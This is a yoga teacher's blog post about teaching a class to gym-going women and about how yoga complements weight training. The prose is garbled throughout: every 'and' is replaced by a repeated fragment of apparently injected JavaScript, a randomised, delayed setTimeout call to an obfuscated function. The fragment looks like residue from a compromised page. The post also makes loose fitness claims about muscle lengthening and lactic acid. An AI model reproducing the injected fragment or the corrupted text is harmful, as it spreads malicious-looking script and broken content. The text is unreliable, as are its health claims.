I recently taught a yoga class for a group of strong women. I say that as I know they all regularly work out at the gym. They use weight bearing machines andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and they are committed to remaining strong andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and active particularly as they get older.

We warmed up our joints andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and spine before beginning a few rounds of Surya Namaskara (Sun Salutations). We practiced standom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}anding poses to strengthen our legs, balance poses to improve focus andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and concentration required for balancing. We laid on the mat for some backward bending, to strengthen our spine andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and abdominals.

We finished with some spinal twists andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and forward folds, to counterbalance the backward bending andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and to gently retreat inwards, observing our inner selves without the distraction of the mind.

After the class, the ladies remarked how challenging they found some of the poses. Some were surprised by this given they regularly work out with weights.

It’s amazing how many students I meet who think yoga is a bit of a sissy work out; guys thinking it’s a girl thing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and girls thinking their time is better spent at the gym in order to build strength andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and lose weight.

Don’t get me wrong; I think gyms have their place in helping everyone get fitter andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and healthier but I think a yoga practice is a fantastic way to compliment working out.

What yoga can bring to your gym workout

1.  Stretching  your muscles makes them lengthen helping you appear leaner

2.  Flushing lactic acid from your muscles by both holding andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and twisting in certain poses

3.  Increasing your joint mobility andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and range of motion which will prevent injury at the gym

4.  Using your own core strength as resistance rather than external weights or machines

5.  Toning your large andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and small muscles at once rather than targeting one muscle group at a time

6.  Conditioning your body for what is does daily – walking, sitting, bending, twisting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and lifting

Yoga can give you what a gym doesn’t

Yoga brings you stillness andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and calm. With its bright lights, thudding weights as they are dropped, pounding of feet on the treadmill competing over the loud music, it’s almost a sensory overload. It’s certainly not conducive to relaxing your body, emptying your mind of you thoughts andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and creating stillness within.

Yoga is like a moving meditation, allowing you to be present in the moment by observing your body in the poses, noticing the sensations you feel andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and just breathing. There’s hardly a person that doesn’t leave a yoga class feeling relaxed andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and energised.

Consider adding a yoga practice to your gym workout andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and give yourself the benefit to your mind as well as your body.

References

www.bodybuilding.com
www.doyouyoga.com
www.mindfulmuscle.com